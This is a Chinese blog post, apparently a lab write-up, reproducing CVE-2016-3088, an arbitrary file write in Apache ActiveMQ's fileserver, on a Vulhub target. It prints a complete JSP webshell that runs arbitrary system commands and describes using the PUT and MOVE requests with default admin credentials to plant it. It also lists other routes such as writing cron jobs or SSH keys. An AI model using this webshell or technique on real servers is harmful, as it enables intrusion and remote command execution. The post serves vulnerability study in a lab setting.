主頁 >  其他 > CVE-2016-3088漏洞復現

CVE-2016-3088漏洞復現

2023-04-26 07:43:02 其他

1.背景介紹,

ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;admin和api都需要登錄后才能使用,fileserver無需登錄,

fileserver是一個RESTful API介面,我們可以通過GET、PUT、DELETE等HTTP請求對其中存盤的檔案進行讀寫操作,其設計目的是為了彌補訊息佇列操作不能傳輸、存盤二進制檔案的缺陷,但后來發現:

  1. 其使用率并不高
  2. 檔案操作容易出現漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底洗掉了fileserver應用,

在測驗程序中,可以關注ActiveMQ的版本,避免走彎路,

2.環境介紹,

采用kali搭建Vulhub靶場,

靶機:127.0.0.1

環境監聽61616埠和8161埠,其中8161為web控制臺埠,本漏洞就出現在web控制臺中,

訪問http://172.18.0.1:8161/看到web頁面,說明環境已成功運行,

3.漏洞復現,

本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入檔案(但不決議jsp),同時支持移動檔案(MOVE請求),所以,我們只需要寫入一個檔案,然后使用MOVE請求將其移動到任意位置,造成任意檔案寫入漏洞,

檔案寫入有幾種利用方法:

  1. 寫入webshell
  2. 寫入cron或ssh key等檔案
  3. 寫入jar或jetty.xml等庫和組態檔

寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不決議jsp,admin和api兩個應用都需要登錄才能訪問,所以有點雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點是需要root權限;寫入jar,稍微麻煩點(需要jar的后門),寫入xml組態檔,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑,

分別說一下上述幾種利用方法,

(1)寫入webshell

我們首先要通過賬號密碼登錄

賬號:admin
密碼:admin

之后訪問http://127.0.0.1:8161/admin/test/systemProperties.jsp來獲取真實路徑

進入/fileserver/目錄,抓包寫入webshell

<%
// 如果請求引數pwd的值為"023"
if("023".equals(request.getParameter("pwd"))){
    // 獲取執行命令的引數i
    String cmd = request.getParameter("i");
    // 執行命令并獲取子行程的輸入流
    java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    // 輸出<pre>標簽
    out.print("<pre>");
    // 讀取子行程的輸出流并輸出
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    // 輸出</pre>標簽
    out.print("</pre>");
}
%>

注意這時我們雖然寫入檔案,但我們去訪問這個檔案時會發現.txt檔案并沒有被決議

 所以我們還需要將這個檔案去移動到一個有執行jsp檔案權限的目錄下,這時我們就用到了我們在之前查詢到的真實路徑,還是通過抓包來操作

 我們將webshell寫入api目錄下,進入/api/查看

 寫入成功,進入后根據小馬引數構建命令即可

 除此之外,還有其他兩種方法利用,但筆者在復現程序中遇到問題較多,沒有進行下去,哪位大佬有成功浮現的,踢我一下,

 

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551188.html

標籤:其他

上一篇:Java序列化和反序列化

下一篇:返回列表

標籤雲
其他(158094) Python(38106) JavaScript(25391) Java(18001) C(15217) 區塊鏈(8260) C#(7972) AI(7469) 爪哇(7425) MySQL(7144) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5870) 数组(5741) R(5409) Linux(5329) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4561) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2431) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1960) Web開發(1951) HtmlCss(1926) python-3.x(1918) 弹簧靴(1913) C++(1911) xml(1889) PostgreSQL(1874) .NETCore(1855) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • CVE-2016-3088漏洞復現

    1.背景介紹。 ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;admin和api都需要登錄后才能使用,fileserver無需登錄。 fileserver是一個RESTful API ......

    uj5u.com 2023-04-26 07:43:02 more
  • Java序列化和反序列化

    一、序列化和反序列化 1、含義 ? 序列化就是記憶體中的物件寫入到IO流中,保存的格式可以是二進制或者文本內容。反序列化就是IO流還原成物件。 2、用途 (1)傳輸網路物件 (2)保存Session 二、Java序列化演示 1、序列化 java.io.ObjectOutputStream代表物件輸出流 ......

    uj5u.com 2023-04-26 07:42:54 more
  • OpenVAS的安裝、卸載教程

    安裝 su /root下安裝 apt-get update //軟體庫更新 apt-get upgrade //軟體升級 apt-get dist-upgrade //升級系統 apt-get install gvm //下載安裝包 gvm-setup //安裝 (這里大概需要幾十分鐘到幾個小時不等 ......

    uj5u.com 2023-04-26 07:42:50 more
  • Vulnhub之Hacksudo Search靶機詳細測驗程序(不同提權方法)

    Hacksudo Search 識別目標主機IP地址 (kali?kali)-[~/Desktop/Vulnhub/HacksudoSearch] └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: 192.168. ......

    uj5u.com 2023-04-26 07:42:46 more
  • 第14屆藍橋杯C++B組省賽題解(A-J)(更新完畢)

    A. 日期統計 題目內容 小藍現在有一個長度為 $100$ 的陣列,陣列中的每個元素的值都在 $0$ 到 $9$ 的范圍之內。 陣列中的元素從左至右如下所示: 5 6 8 6 9 1 6 1 2 4 9 1 9 8 2 3 6 4 7 7 5 9 5 0 3 8 7 5 8 1 5 8 6 1 8 ......

    uj5u.com 2023-04-25 08:21:57 more
  • 李航統計學習概述

    監督學習 感知機 概念: 感知機模型的基本形式是: $f(x) = sign(w \cdot x + b)$ 其中,$x$ 是輸入樣本的特征向量,$w$ 是權值向量,$b$ 是偏置量,$w \cdot x$ 表示向量 $w$ 和 $x$ 的點積。$sign$ 函式表示符號函式,當輸入大于 0 時輸出 ......

    uj5u.com 2023-04-25 08:21:53 more
  • GPT4有那么可怕嗎?

    一封聯合信 3月22號也就是一個月前,馬斯克,對你沒聽錯,就是前幾天發射火箭失敗爆炸的那個,他聯合幾千名科學家用一封公開信請愿暫停一切大型AI實驗半年以上,這六個月的時間是用來做一份監督和規范AI發展的協議,避免AI的發展走向極端,超出人類的控制。 現在這封公開信已經有超過3萬人參與實名請愿。請愿名 ......

    uj5u.com 2023-04-25 08:21:37 more
  • CVE-2015-5254漏洞復現

    1.漏洞介紹。 Apache ActiveMQ 是美國阿帕奇(Apache)軟體基金會所研發的一套開源的訊息中間件,它支持 Java 訊息服務,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,該漏洞源于程式沒有限制可在代理中序 ......

    uj5u.com 2023-04-25 08:21:16 more
  • [Week 18] 每日一題(C++,動態規劃,線段樹,數學)

    [Daimayuan] T1 最長公共子序列(C++,DP,二分) 給出從 $1$ 到 $n$ 的兩個排列 $P_1$ 和 $P_2$,求它們的最長公共子序列。 輸入格式 第一行是一個正整數 $n$。 接下來兩行,每行為 $n$ 個數,為自然數 $1,2,…,n$ 的一個排列。 輸出格式 一個數,即 ......

    uj5u.com 2023-04-25 08:20:58 more
  • 軟體自動化測驗初學者忠告

    題外話 測驗入門 很多受過高等教育的大學生經常問要不要去報測驗培訓班來入門測驗。 答案是否。 高等教育的合格畢業生要具備自學能力,如果你不具備自學能力,要好好地反省一下,為什么自己受了高等教育迷戀于各種入門級別的培訓?是沒有毅力還是不知道學習方法? 沒有毅力的話,要自己多看些勵志的書,多想想社會的殘 ......

    uj5u.com 2023-04-25 08:20:48 more